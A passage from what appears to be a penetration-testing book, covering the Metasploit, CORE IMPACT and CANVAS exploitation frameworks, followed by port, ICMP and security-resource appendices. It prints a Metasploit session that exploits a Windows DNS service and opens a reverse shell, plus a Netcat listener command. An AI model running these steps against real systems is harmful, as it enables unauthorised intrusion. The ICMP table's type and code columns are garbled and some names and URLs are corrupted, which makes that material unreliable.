<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Locale</td>
<td>English</td>
<td>yes</td>
<td>Locale for automatic target (English, French, Italian, ...)</td>
</tr>
<tr>
<td>RHOST</td>
<td></td>
<td>yes</td>
<td>The target address</td>
</tr>
<tr>
<td>RPORT</td>
<td>0</td>
<td>yes</td>
<td>The target port</td>
</tr>
</tbody>
</table>

### Payload options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXITFUNC</td>
<td>thread</td>
<td>yes</td>
<td>Exit technique: seh, thread, process</td>
</tr>
<tr>
<td>LHOST</td>
<td></td>
<td>yes</td>
<td>The local address</td>
</tr>
<tr>
<td>LPORT</td>
<td>4444</td>
<td>yes</td>
<td>The local port</td>
</tr>
</tbody>
</table>

### Exploit target:

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)</td>
</tr>
</tbody>
</table>

In this case, you can define the following variables:

- Locale setting for the remote host (Locale)
- Target IP address (RHOST)
- Target port for the vulnerable service (RPORT)
- Exit mechanism used by the payload upon triggering the overflow (EXITFUNC)
- Local IP address (LHOST)
- Local port (LPORT)
- Exploit target value used to exploit different server versions (TARGET)
LHOST and LPORT are used within connect-back payloads, as they contain details of the IP address and port that you want the vulnerable system to connect out to with its command shell. This can either be the local MSF system or another machine running a Netcat listener (such as `nc -l -p 666` to listen on TCP port 666 of a given system). The TARGET variable is used in more complex cases when there are different return addresses and exploitation mechanisms for different server software versions or Service Pack levels.

Next you can set the variables and launch the exploit:

```
msf exploit(msdns_zonename) > set LHOST 192.168.0.127
LHOST => 192.168.0.127
msf exploit(msdns_zonename) > set LPORT 4444
LPORT => 4444
msf exploit(msdns_zonename) > set RHOST 172.16.233.128
RHOST => 172.16.233.128
msf exploit(msdns_zonename) > exploit
[*] Started reverse handler
[*] Connecting to the endpoint mapper service...
[*] Discovered Microsoft DNS Server RPC service on port 1356
[*] Trying target Windows 2000 SP0-SP4 / Windows 2003 SP0-SP2 English...
[*] Binding to 50abc2a4-574d-40b9-9d66-ee4fd5fba076:5.0[at]ncacn_ip_tcp:172.16.233.128
[*] Bound to 50abc2a4-574d-40b9-9d66-ee4fd5fba076:5.0[at]ncacn_ip_tcp:172.16.233.128
[*] Sending exploit...
[*] Error: no response from dcerpc service
[*] Command shell session 1 opened (192.168.0.127:4444 -> 192.168.0.127:45196)

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>
```

Further Reading

Useful MSF documentation and video demonstrations are available at the following locations:

- http://framework.metasploit.com/msf/gallery

CORE IMPACT

IMPACT (http://www.coresecurity.com) is a Windows-based commercial exploitation framework that supports advanced features around repositioning and reporting, along with reliable exploits, some of which are not publicly available.
**IMPACT Architecture & Features**

The IMPACT architecture supports the following:

- Execution of testing and exploit modules (from the local console and local agent)
- Deployment and management of control agents on compromised hosts
- Executing modules and commands through remote control agents (repositioning)
- Centralized collection of data and audit trail of every performed action
- Report generation

IMPACT consists of a number of components that work to first compromise and then to interact with a host. The three primary components of the architecture are the agents, the modules, and the console. All knowledge obtained during assessments is consolidated in a central repository of information called the *entity database*.

**Agents**

An agent is a program that is installed by IMPACT upon compromising a host. The agent’s primary purpose is to perform operations requested by the IMPACT console host (representing the user’s orders) on the compromised system. Agents can also forward commands to other agents, a process known as *chaining*, which is useful in complex repositioning scenarios.

**Modules**

Modules are individual or groups of operations that are executed by an agent. For example, modules can launch specific attacks against a target host, such as a web server, and perform information gathering tasks ranging from packet sniffing to active port scanning. Modules can also call and execute other modules. IMPACT modules are written in Python.

**Console**

The console is the IMPACT user interface, and it serves as an initial launch point for all modules, as a management tool to visualize the network being attacked, and as a reporting tool. The console is the centralized gathering point for all information obtained from the agents that may be deployed across multiple targets and varying operating systems. Figure 16-2 shows the IMPACT console panels.

The IMPACT console consists of the following panels:

1. The *Modules* panel, which provides access to IMPACT modules. The panel has two views: *Rapid Penetration Test* (RPT) and *Modules*, which can be accessed using the tabs at the bottom of the panel.

2. The *Entity View* panel, which displays information about the target network.
3. The Executed Modules panel, which displays a list of executed modules.
4. The Module Output panel, which displays detailed information (input, output, and logging data) for the item selected in the Executed Modules panel.
5. The Quick Information panel, which displays information relating to the currently selected item in the console.
6. The Entity Properties panel, which is similar to the Quick Information panel, but it is tree-based and allows you to modify and set values such as OS details and service pack level.

Using IMPACT

Upon installing IMPACT, you set up a new workspace for the penetration testing exercise, as shown in Figures 16-3, 16-4, and 16-5. The workspace contains all the data and audit trail information relating to the host discovery, scanning, and exploitation tasks.

IMPACT supports two different types of RPT upon setting up a new workspace. These are Network RPT, used to compromise remote servers, and Client-side RPT, used to compromise remote web browsers and other client-side software packages (including Microsoft Office components).
Figure 16-3. Assigning a workspace name and contact details

Figure 16-4. Allocating the available license to the workspace

Figure 16-5. Setting a pass phrase to protect the workspace
An IMPACT Network RPT consists of the following elements:

- Information gathering
- Attack and penetration
- Local information gathering
- Privilege escalation
- Clean up
- Report generation

In the following sections, I walk through using IMPACT to perform information gathering and attack and penetration tasks.

**Information gathering**

From the Network RPT panel, run *Network Information Gathering* by setting the target IP space (whether a single IP or network range) and scan options (fast or custom). The following scanning modules are then run:

- TCP port scan
- UDP port scan
- ICMP sweeping
- Service identification
- Nmap OS stack fingerprinting

Hosts that are identified through Network Information Gathering will appear under the Visibility View panel, as shown in Figure 16-6.

![Figure 16-6. Hosts found through Network Information Gathering](image)
Attack and penetration

Upon identifying the accessible hosts, you can use the Network Attack and Penetration wizard in the Network RPT panel in order to define the target hosts and associated attack and penetration options. The four screens of the Network Attack and Penetration Wizard are shown in Figures 16-7, 16-8, 16-9, and 16-10.

Figure 16-7. Selecting the target hosts to attack

Figure 16-8. Setting exploit selection options
Figure 16-9. Setting priorities to define the order of execution

Figure 16-10. Setting control channel options
To run specific exploit modules and IMPACT agent installation processes, click the Modules View tab, browse to the desired module (these are highlighted after cross-referencing the module metadata with the OS platform details of the targets), and drag and drop it on the target host in the Visibility View panel, as shown in Figure 16-11.

Repertioning

Upon compromising the target, an IMPACT agent is started within the server-side process space in memory. The Visibility View panel then shows agent instances, as shown in Figure 16-12.

You can now send commands to the agents and use various features. Right-click the desired agent, and select one of the following mechanisms to manage and reposition compromised hosts:

- **Set as Source** sets the selected agent as the source for all future attacks (repositioning).
- **Connect** allows you to connect to a persistent IMPACT agent.
- **Shell** executes a fully functional command shell on the host.
- **Mini Shell** implements a limited set of commands on the host.
• **Python Shell** executes a Python shell on the host.
• **File Browser** allows file browsing on the host.
• **Make Persistent** installs an IMPACT agent in the file system of the host.
• **Install Pcap Plugin** installs Pcap libraries to enable fast scanning and packet capture capabilities.

There are a number of advanced features to do with repositioning and chaining agents to proxy traffic and commands through to internal network spaces that are not accessible from the local agent. The CORE IMPACT user manual is a very detailed document that covers all these features and more (including client-side attack techniques and mechanisms), available from [http://www1.corest.com/download/files/QuickStart%20Guide.pdf](http://www1.corest.com/download/files/QuickStart%20Guide.pdf).

### Immunity CANVAS

CANVAS ([http://www.immunitysec.com](http://www.immunitysec.com)) is a commercial exploitation framework that supports advanced repositioning features, along with reliable exploits (a number of which are not publicly available), and third-party exploit packs. CANVAS can be run from Windows, Linux, and Mac OS X platforms with Python and PyGTK installed.

Written fully in Python, CANVAS is an open exploitation platform. Customers are given full access to the CANVAS source tree, which allows them to customize and modify the tool to suit their needs.
CANVAS Architecture & Features

The CANVAS architecture supports the following:

- Execution of testing and exploit modules (from the local console and MOSDEF nodes)
- Deployment and management of MOSDEF nodes (compromised hosts)
- Execution of modules and commands through MOSDEF nodes (repositioning)
- Centralized collection of data and audit trail of every performed action
- Third-party add-on exploit pack support

CANVAS consists of a number of components that work to first compromise and then interact with a host. The three primary components of the architecture are the console, modules, and MOSDEF nodes.

Console

The CANVAS PyGTK graphical user interface is used to run modules, test, and exploit target hosts, and then manage MOSDEF nodes. Figure 16-13 shows the CANVAS console panels.

Figure 16-13. Immunity CANVAS console
The CANVAS console consists of the following components:

1. The Callback IP field, where the IP address of the CANVAS console is defined
2. The Main Functionality Tree, where CANVAS modules are listed and selected
3. The Node Tree, where target and compromised hosts are managed
4. The Covertness Bar, where the amount of noise and fragmentation is defined

**Modules**

As in MSF and CORE IMPACT, CANVAS modules are individual or groups of operations that are executed to test and exploit vulnerable components. For example, modules can launch specific attacks against a target host, such as a web server, and perform information-gathering tasks ranging from packet sniffing to active port scanning. Modules can also call and execute other modules. As with CORE IMPACT, CANVAS exploit modules are written in Python.

**MOSDEF nodes**

Hosts that are compromised using exploit modules become MOSDEF nodes. These nodes are essentially running a “read and call” loop. To interact with the node, CANVAS compiles *progllets* (written in MOSDEF-C, which is simplified C), which are in turn sent to the MOSDEF node and executed.

The MOSDEF approach to node control is similar to that used by CORE IMPACT, and it has many advantages. For example, it allows you to maintain full API access to the exploited process, as opposed to gaining access to a simple shell (which in many operating platforms has fewer privileges than the process), and also allows you to use MOSDEF to execute arbitrary code and commands within the existing process.

Interaction with MOSDEF nodes can occur in two ways, as follows:

- The listener shell, spawned automatically when an exploit module compromises a host
- The node tree, allowing specific modules and tasks to be run through MOSDEF

**Add-on exploit packs for CANVAS**

GLEG and Argeniss provide exploit packs that can be added to Immunity CANVAS to bolster the number of vulnerabilities it can exploit. The modules in the GLEG VulnDisco exploit pack and the Argeniss Ultimate 0day Exploits Pack are mostly zero-day unpatched exploits, covering technologies such as Oracle, Lotus Domino, MySQL, and Samba. A large number of issues are remote DoS issues, which are of particular interest to companies running mission-critical services and networks.

Appendix C lists the exploit modules in the GLEG and Argeniss packs. For up-to-date details and information relating to these packs, please see [http://gleg.net](http://gleg.net).
Using CANVAS

Immunity does not provide evaluation copies of CANVAS, as the framework includes all the Python source code associated with the program and its components. It is possible, however, to have Immunity demonstrate CANVAS to you across a VNC or similar remote desktop connection.

I was not provided with a copy of CANVAS for the purposes of this book, so I couldn’t undertake a comprehensive walkthrough. The screenshots provided here are those from Immunity, demonstrating the following tasks:

- Loading a host (172.16.147.129) and performing OS detection (Figure 16-14)

![Figure 16-14. Performing OS detection against 172.16.147.129](image)

- Selecting the MS06-040 Server service stack overflow exploit module (Figure 16-15)
- Setting the exploit parameters and options (server port, target OS settings) (Figure 16-16)
- Successfully compromising the host, spawning a MOSDEF listener shell (Figure 16-17)
- Installing a persistent MOSDEF service on the compromised host (Figure 16-18)
Figure 16-15. Selecting the MS06-040 overflow from the exploit modules list

Figure 16-16. Setting the exploit parameters
Figure 16-17. A MOSDEF listener shell is spawned

Figure 16-18. Installing a persistent MOSDEF Windows service
Repositioning

Repositioning within CANVAS is performed in a way that is similar to that of CORE IMPACT; you select a node running MOSDEF, execute modules through the node, and view the output that is fed back to the console.

Further information

The Immunity web site has a good CANVAS video walkthrough, accessible at:

http://www.immunitysec.com/documentation/overview.html

CANVAS screenshots and walkthrough documentation for specific bugs are accessible at these locations:


Exploitation Frameworks Recap

The following bullet points provide an overview of exploitation frameworks:

• MSF is an extremely useful tool, is free to use, and is packed with over 200 reliable exploit modules. MSF 3.0 and the web interface provide easy access to the various MSF components and features; however, the tool falls short of its commercial counterparts in audit trail, repositioning, and reporting departments.

• CORE IMPACT is an excellent and mature tool, which has clearly been well maintained and designed for its purpose. Workspace management and encryption within IMPACT, a strong audit trail, and a reporting tool make it a very well-rounded and comprehensive utility.

• Immunity CANVAS does not have some of the features around workspace management and reporting that IMPACT boasts, and its documentation is certainly less clear and comprehensive. However, support for third-party add-on packs means that it sits at the forefront of zero-day exploit development and testing.

• Appendix C comprehensively lists the supported exploit modules in MSF, IMPACT, and CANVAS (along with third-party add-on packs) at this time of writing. I recommend that you take a look at the modules lists and contact the respective commercial vendors to make a decision as to which exploitation frameworks best suit your needs.
I list useful TCP, UDP ports, and ICMP message types in this appendix. A comprehensive list of registered TCP and UDP services may be found at http://www.iana.org/assignments/port-numbers. The nmap-services list of ports provided with Nmap is also a good reference, particularly for backdoors and other unregistered services.

**TCP Ports**

TCP ports of interest from a remote security assessment perspective are listed in Table A-1. I have included references to chapters within this book, along with other details that I deem appropriate, including MITRE CVE references to known issues.

<table>
<thead>
<tr>
<th>Port</th>
<th>Name</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>tcpmux</td>
<td>TCP port multiplexer, indicates the host is running IRIX</td>
</tr>
<tr>
<td>11</td>
<td>systat</td>
<td>System status service</td>
</tr>
<tr>
<td>15</td>
<td>netstat</td>
<td>Network status service</td>
</tr>
<tr>
<td>21</td>
<td>ftp</td>
<td>File Transfer Protocol (FTP) service; see Chapter 8</td>
</tr>
<tr>
<td>22</td>
<td>ssh</td>
<td>Secure Shell (SSH); see Chapter 8</td>
</tr>
<tr>
<td>23</td>
<td>telnet</td>
<td>Telnet service; see Chapter 8</td>
</tr>
<tr>
<td>25</td>
<td>smtp</td>
<td>Simple Mail Transfer Protocol (SMTP); see Chapter 11</td>
</tr>
<tr>
<td>42</td>
<td>wins</td>
<td>Microsoft WINS name service; see Chapter 5</td>
</tr>
<tr>
<td>43</td>
<td>whois</td>
<td>WHOIS service; see Chapter 3</td>
</tr>
<tr>
<td>53</td>
<td>domain</td>
<td>Domain Name Service (DNS); see Chapter 5</td>
</tr>
<tr>
<td>79</td>
<td>finger</td>
<td>Finger service, used to report active users; see Chapter 5</td>
</tr>
<tr>
<td>80</td>
<td>http</td>
<td>Hypertext Transfer Protocol (HTTP); see Chapter 6</td>
</tr>
<tr>
<td>88</td>
<td>kerberos</td>
<td>Kerberos distributed authentication mechanism</td>
</tr>
<tr>
<td>98</td>
<td>linuxconf</td>
<td>Linuxconf service, remotely exploitable under older Linux distributions; see CVE-2000-0017</td>
</tr>
<tr>
<td>109</td>
<td>pop2</td>
<td>Post Office Protocol 2 (POP2), rarely used</td>
</tr>
</tbody>
</table>
Table A-1. TCP ports (continued)

<table>
<thead>
<tr>
<th>Port</th>
<th>Name</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>110</td>
<td>pop3</td>
<td>Post Office Protocol 3 (POP3); see Chapter 11</td>
</tr>
<tr>
<td>111</td>
<td>sunrpc</td>
<td>RPC portmapper (also known as rpcbind); see Chapter 13</td>
</tr>
<tr>
<td>113</td>
<td>auth</td>
<td>Authentication service (also known as identd); see Chapter 5</td>
</tr>
<tr>
<td>119</td>
<td>nntp</td>
<td>Network News Transfer Protocol (NNTP)</td>
</tr>
<tr>
<td>135</td>
<td>loc-srv</td>
<td>Microsoft RPC server service; see Chapter 10</td>
</tr>
<tr>
<td>139</td>
<td>netbios-ssn</td>
<td>Microsoft NetBIOS session service; see Chapter 10</td>
</tr>
<tr>
<td>143</td>
<td>imap</td>
<td>Internet Message Access Protocol (IMAP); see Chapter 11</td>
</tr>
<tr>
<td>179</td>
<td>bgp</td>
<td>Border Gateway Protocol (BGP), found on routing devices</td>
</tr>
<tr>
<td>264</td>
<td>fw1-sremote</td>
<td>Check Point SecuRemote VPN service (FW-1 4.1 and later); see Chapter 12</td>
</tr>
<tr>
<td>389</td>
<td>ldap</td>
<td>Lightweight Directory Access Protocol (LDAP); see Chapter 5</td>
</tr>
<tr>
<td>443</td>
<td>https</td>
<td>SSL-wrapped HTTP web service; see Chapter 6</td>
</tr>
<tr>
<td>445</td>
<td>clfs</td>
<td>Common Internet File System (CIFS); see Chapter 10</td>
</tr>
<tr>
<td>464</td>
<td>kerberos</td>
<td>Kerberos distributed authentication mechanism</td>
</tr>
<tr>
<td>465</td>
<td>ssntp</td>
<td>SSL-wrapped SMTP mail service; see Chapter 11</td>
</tr>
<tr>
<td>512</td>
<td>exec</td>
<td>Remote execution service (in.rexecd); see Chapter 8</td>
</tr>
<tr>
<td>513</td>
<td>login</td>
<td>Remote login service (in.rlogind); see Chapter 8</td>
</tr>
<tr>
<td>514</td>
<td>shell</td>
<td>Remote shell service (in.rshd); see Chapter 8</td>
</tr>
<tr>
<td>515</td>
<td>printer</td>
<td>Line Printer Daemon (LPD) service; commonly exploitable under Linux and Solaris</td>
</tr>
<tr>
<td>540</td>
<td>uucp</td>
<td>Unix-to-Unix copy service</td>
</tr>
<tr>
<td>554</td>
<td>rtsp</td>
<td>Real Time Streaming Protocol (RTSP) service, vulnerable to a serious remote exploit; see CVE-2003-0725</td>
</tr>
<tr>
<td>593</td>
<td>http-rpc</td>
<td>Microsoft RPC over HTTP port; see Chapter 10</td>
</tr>
<tr>
<td>636</td>
<td>ldaps</td>
<td>SSL-wrapped LDAP service; see Chapter 5</td>
</tr>
<tr>
<td>706</td>
<td>silc</td>
<td>Secure Internet Live Conferencing (SILC) chat service</td>
</tr>
<tr>
<td>873</td>
<td>rsync</td>
<td>Linux rsync service, remotely exploitable in some cases; see CVE-2002-0048</td>
</tr>
<tr>
<td>993</td>
<td>imaps</td>
<td>SSL-wrapped IMAP mail service; see Chapter 11</td>
</tr>
<tr>
<td>994</td>
<td>ircs</td>
<td>SSL-wrapped Internet Relay Chat (IRC) service</td>
</tr>
<tr>
<td>995</td>
<td>pop3s</td>
<td>SSL-wrapped POP3 mail service; see Chapter 11</td>
</tr>
<tr>
<td>1080</td>
<td>socks</td>
<td>SOCKS proxy service</td>
</tr>
<tr>
<td>1352</td>
<td>lotusnote</td>
<td>Lotus Notes service</td>
</tr>
<tr>
<td>1433</td>
<td>ms-sql</td>
<td>Microsoft SQL Server; see Chapter 9</td>
</tr>
<tr>
<td>1494</td>
<td>citrix-ica</td>
<td>Citrix ICA service; see Chapter 8</td>
</tr>
<tr>
<td>1521</td>
<td>oracle-tns</td>
<td>Oracle TNS Listener; see Chapter 9</td>
</tr>
</tbody>
</table>
Table A-1. TCP ports (continued)

<table>
<thead>
<tr>
<th>Port</th>
<th>Name</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>1526</td>
<td>oracle-tns</td>
<td>Alternate Oracle TNS Listener port; see Chapter 9</td>
</tr>
<tr>
<td>1541</td>
<td>oracle-tns</td>
<td>Alternate Oracle TNS Listener port; see Chapter 9</td>
</tr>
<tr>
<td>1720</td>
<td>videoconf</td>
<td>H.323 video conferencing service</td>
</tr>
<tr>
<td>1723</td>
<td>pptp</td>
<td>Point-to-Point Tunneling Protocol (PPTP); see Chapter 12</td>
</tr>
<tr>
<td>1999</td>
<td>cisco-disc</td>
<td>Discovery port found on Cisco IOS devices</td>
</tr>
<tr>
<td>2301</td>
<td>compaq-dq</td>
<td>Compaq diagnostics HTTP web service</td>
</tr>
<tr>
<td>2401</td>
<td>cvspserver</td>
<td>Unix CVS service, vulnerable to a number of attacks</td>
</tr>
<tr>
<td>2433</td>
<td>ms-sql</td>
<td>Alternate Microsoft SQL Server port; see Chapter 9</td>
</tr>
<tr>
<td>2638</td>
<td>sybase</td>
<td>Sybase database service</td>
</tr>
<tr>
<td>3128</td>
<td>squid</td>
<td>SQUID web proxy service</td>
</tr>
<tr>
<td>3268</td>
<td>globalcat</td>
<td>Active Directory Global Catalog service; see Chapter 5</td>
</tr>
<tr>
<td>3269</td>
<td>globalcats</td>
<td>SSL-wrapped Global Catalog service; see Chapter 5</td>
</tr>
<tr>
<td>3306</td>
<td>mysql</td>
<td>MySQL database service; see Chapter 9</td>
</tr>
<tr>
<td>3372</td>
<td>msdtc</td>
<td>Microsoft Distributed Transaction Coordinator (MSDTC)</td>
</tr>
<tr>
<td>3389</td>
<td>ms-rdp</td>
<td>Microsoft Remote Desktop Protocol (RDP); see Chapter 8</td>
</tr>
<tr>
<td>4110</td>
<td>wg-vpn</td>
<td>WatchGuard branch office VPN service</td>
</tr>
<tr>
<td>4321</td>
<td>rwhois</td>
<td>NSI rwhoisd service, remotely exploitable in some cases; see CVE-2001-0913</td>
</tr>
<tr>
<td>4480</td>
<td>proxy+</td>
<td>Proxy+ web proxy service</td>
</tr>
<tr>
<td>5000</td>
<td>upnp</td>
<td>Windows XP Universal Plug and Play (UPNP) service</td>
</tr>
<tr>
<td>5432</td>
<td>postgres</td>
<td>PostgreSQL database service</td>
</tr>
<tr>
<td>5631</td>
<td>pcanywhere</td>
<td>pcAnywhere service</td>
</tr>
<tr>
<td>5632</td>
<td>pcanywhere</td>
<td>pcAnywhere service</td>
</tr>
<tr>
<td>5800</td>
<td>vnc-http</td>
<td>Virtual Network Computing (VNC) web service; see Chapter 8</td>
</tr>
<tr>
<td>5900</td>
<td>vnc</td>
<td>VNC service; see Chapter 8</td>
</tr>
<tr>
<td>6000</td>
<td>x11</td>
<td>X Windows service; see Chapter 8</td>
</tr>
<tr>
<td>6103</td>
<td>backupexec</td>
<td>VERITAS Backup Exec service</td>
</tr>
<tr>
<td>6112</td>
<td>dtspcd</td>
<td>Unix CDE window manager Desktop Subprocess Control Service Daemon (DTSPCD), vulnerable on multiple commercial platforms; see CVE-2001-0803</td>
</tr>
<tr>
<td>6588</td>
<td>analogx</td>
<td>AnalogX web proxy</td>
</tr>
<tr>
<td>7100</td>
<td>font-service</td>
<td>X Server font service</td>
</tr>
<tr>
<td>8890</td>
<td>sourcesafe</td>
<td>Microsoft Source Safe service</td>
</tr>
<tr>
<td>9100</td>
<td>jetdirect</td>
<td>HP JetDirect printer management port</td>
</tr>
</tbody>
</table>
UDP Ports

UDP ports of interest from a remote security assessment perspective are listed in Table A-2. I have included references to chapters within this book, along with other details that I deem appropriate, including MITRE CVE references to known issues.

<table>
<thead>
<tr>
<th>Port</th>
<th>Name</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>53</td>
<td>domain</td>
<td>Domain Name Service (DNS); see Chapter 5</td>
</tr>
<tr>
<td>67</td>
<td>bootps</td>
<td>BOOTP (commonly known as DHCP) server port</td>
</tr>
<tr>
<td>68</td>
<td>bootpc</td>
<td>BOOTP (commonly known as DHCP) client port</td>
</tr>
<tr>
<td>69</td>
<td>tftp</td>
<td>Trivial File Transfer Protocol (TFTP), a historically weak protocol used to upload configuration files to hardware devices</td>
</tr>
<tr>
<td>111</td>
<td>sunrpc</td>
<td>RPC portmapper (also known as rpcbind); see Chapter 13</td>
</tr>
<tr>
<td>123</td>
<td>ntp</td>
<td>Network Time Protocol (NTP); see Chapter 5</td>
</tr>
<tr>
<td>135</td>
<td>loc-srv</td>
<td>Microsoft RPC server service; see Chapter 10</td>
</tr>
<tr>
<td>137</td>
<td>netbios-ns</td>
<td>Microsoft NetBIOS name service; see Chapter 10</td>
</tr>
<tr>
<td>138</td>
<td>netbios-dgm</td>
<td>Microsoft NetBIOS datagram service; see Chapter 10</td>
</tr>
<tr>
<td>161</td>
<td>snmp</td>
<td>Simple Network Management Protocol (SNMP); see Chapter 5</td>
</tr>
<tr>
<td>445</td>
<td>cifs</td>
<td>Common Internet File System (CIFS); see Chapter 10</td>
</tr>
<tr>
<td>500</td>
<td>isakmp</td>
<td>IPsec key management service, used to maintain IPsec VPN tunnels; see Chapter 12</td>
</tr>
<tr>
<td>513</td>
<td>rwho</td>
<td>Unix rwhod service; see Chapter 5</td>
</tr>
<tr>
<td>514</td>
<td>syslog</td>
<td>Unix syslogd service for remote logging over a network</td>
</tr>
<tr>
<td>520</td>
<td>route</td>
<td>Routing Information Protocol (RIP) service. BSD-derived systems, including IRIX, are susceptible to a routed trace file attack; see CVE-1999-0215</td>
</tr>
<tr>
<td>1434</td>
<td>ms-sql-ssrs</td>
<td>SQL Server Resolution Service (SSRS); see Chapter 9</td>
</tr>
<tr>
<td>1900</td>
<td>upnp</td>
<td>Universal Plug and Play (UPNP) service used by SOHO routers and other devices</td>
</tr>
<tr>
<td>2049</td>
<td>nfs</td>
<td>Unix Network File System (NFS) server port; see Chapter 13</td>
</tr>
<tr>
<td>4045</td>
<td>mountd</td>
<td>Unix NFS mountd server port; see Chapter 13</td>
</tr>
</tbody>
</table>

ICMP Message Types

ICMP message types of interest from a remote security assessment perspective are listed in Table A-3. Both the message types and individual codes are listed, along with details of RFCs and other standards in which these message types are discussed.
Table A-3. ICMP message types

<table>
<thead>
<tr>
<th>Type</th>
<th>Code</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>Echo reply (RFC 792)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Destination network unreachable</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>Destination host unreachable</td>
</tr>
<tr>
<td>2</td>
<td>0</td>
<td>Destination protocol unreachable</td>
</tr>
<tr>
<td>3</td>
<td>0</td>
<td>Destination port unreachable</td>
</tr>
<tr>
<td>4</td>
<td>0</td>
<td>Fragmentation required, but don’t fragment bit was set</td>
</tr>
<tr>
<td>5</td>
<td>0</td>
<td>Source route failed</td>
</tr>
<tr>
<td>6</td>
<td>0</td>
<td>Destination network unknown</td>
</tr>
<tr>
<td>7</td>
<td>0</td>
<td>Destination host unknown</td>
</tr>
<tr>
<td>8</td>
<td>0</td>
<td>Source host isolated</td>
</tr>
<tr>
<td>9</td>
<td>0</td>
<td>Communication with destination network is administratively prohibited</td>
</tr>
<tr>
<td>10</td>
<td>0</td>
<td>Communication with destination host is administratively prohibited</td>
</tr>
<tr>
<td>11</td>
<td>0</td>
<td>Destination network unreachable for type of service</td>
</tr>
<tr>
<td>12</td>
<td>0</td>
<td>Destination host unreachable for type of service</td>
</tr>
<tr>
<td>13</td>
<td>0</td>
<td>Communication administratively prohibited (RFC 1812)</td>
</tr>
<tr>
<td>14</td>
<td>0</td>
<td>Host precedence violation (RFC 1812)</td>
</tr>
<tr>
<td>15</td>
<td>0</td>
<td>Precedence cutoff in effect (RFC 1812)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Source quench (RFC 792)</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>Redirect datagram for the network or subnet</td>
</tr>
<tr>
<td>2</td>
<td>0</td>
<td>Redirect datagram for the host</td>
</tr>
<tr>
<td>3</td>
<td>0</td>
<td>Redirect datagram for the type of service and network</td>
</tr>
<tr>
<td>8</td>
<td>0</td>
<td>Echo request (RFC 792)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Normal router advertisement (RFC 1256)</td>
</tr>
<tr>
<td>16</td>
<td>0</td>
<td>Does not route common traffic (RFC 2002)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Time to live (TTL) exceeded in transit (RFC 792)</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td>Fragment reassembly time exceeded (RFC 792)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Timestamp request (RFC 792)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Timestamp reply (RFC 792)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Information request (RFC 792)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Information reply (RFC 792)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Address mask request (RFC 950)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Address mask reply (RFC 950)</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>Traceroute (RFC 1393)</td>
</tr>
</tbody>
</table>
To maintain the security of your environment, it is vital to be aware of the latest threats posed to your network and its components. You should regularly check Internet mailing lists and hacking web sites to access the latest public information about vulnerabilities and exploit scripts. I’ve assembled the following lists of web sites and mailing lists that security consultants and hackers use on a daily basis.

**Security Mailing Lists**

The following mailing lists contain interesting and useful discussion relating to current security vulnerabilities and issues:

- BugTraq ([http://www.securityfocus.com/archive/1](http://www.securityfocus.com/archive/1))
- Full Disclosure ([http://seclists.org/full披露/](http://seclists.org/full披露/))
- Pen-Test ([http://www.securityfocus.com/archive/101](http://www.securityfocus.com/archive/101))
- Honeypots ([http://www.securityfocus.com/archive/119](http://www.securityfocus.com/archive/119))
- Nessus development ([http://list.nessus.org](http://list.nessus.org))
- Nmap-hackers ([http://seclists.org/nmap-hackers/](http://seclists.org/nmap-hackers/))
- VulnWatch ([http://www.vulnwatch.org](http://www.vulnwatch.org))

**Vulnerability Databases and Lists**

The following vulnerability databases and lists can be searched to enumerate vulnerabilities in specific technologies and products:

- MITRE CVE ([http://cve.mitre.org](http://cve.mitre.org))
- NIST NVD ([http://nvd.nist.gov](http://nvd.nist.gov))
- ISS X-Force ([http://xforce.iss.net](http://xforce.iss.net))
- OSVDB ([http://www.osvdb.org](http://www.osvdb.org))
CERT vulnerability notes (http://www.kb.cert.org/vuls)
FrSIRT (http://www.fr-sirt.com)

Underground Web Sites

The following underground web sites contain useful exploit scripts and tools that
can be used during penetration tests:

- Milw0rm (http://www.milw0rm.com)
- Raptor’s labs (http://www.0xdeadbeef.info)
- H D Moore’s pages (http://www.metasploit.com/users/hdm/)
- The Hacker’s Choice (http://www.thc.org)
- Packet Storm (http://www.packetstormsecurity.org)
- Insecure.org (http://www.insecure.org)
- Top 100 Network Security Tools (http://sectools.org)
- IndianZ (http://www.indianz.ch)
- Zone-H (http://www.zone-h.org)
- Phenoelit (http://www.phenoelit.de)
- Uninformed (http://uninformed.org)
- Astalavista (http://astalavista.com)
- cqure.net (http://www.cqure.net)
- TESO (http://www.team-teso.net)
- ADM (http://adm.freeldefense.net/ADM/)
- Hack in the box (http://www.hackinthebox.org)
- cnhonker (http://www.cnhonker.com)
- Soft Project (http://www.s0ftpj.org)
- Phrack (http://www.phrack.org)
- LSD-PLaNET (http://www.lsd-pl.net)
- w00w00 (http://www.w00w00.org)
- Digital Offense (http://www.digitaloffense.net)

Security Events and Conferences

The following sites detail popular security conventions and gatherings:

- DEF CON (http://www.defcon.org)
- Black Hat Briefings (http://www.blackhat.com)
- CanSecWest (http://www.cansecwest.com)
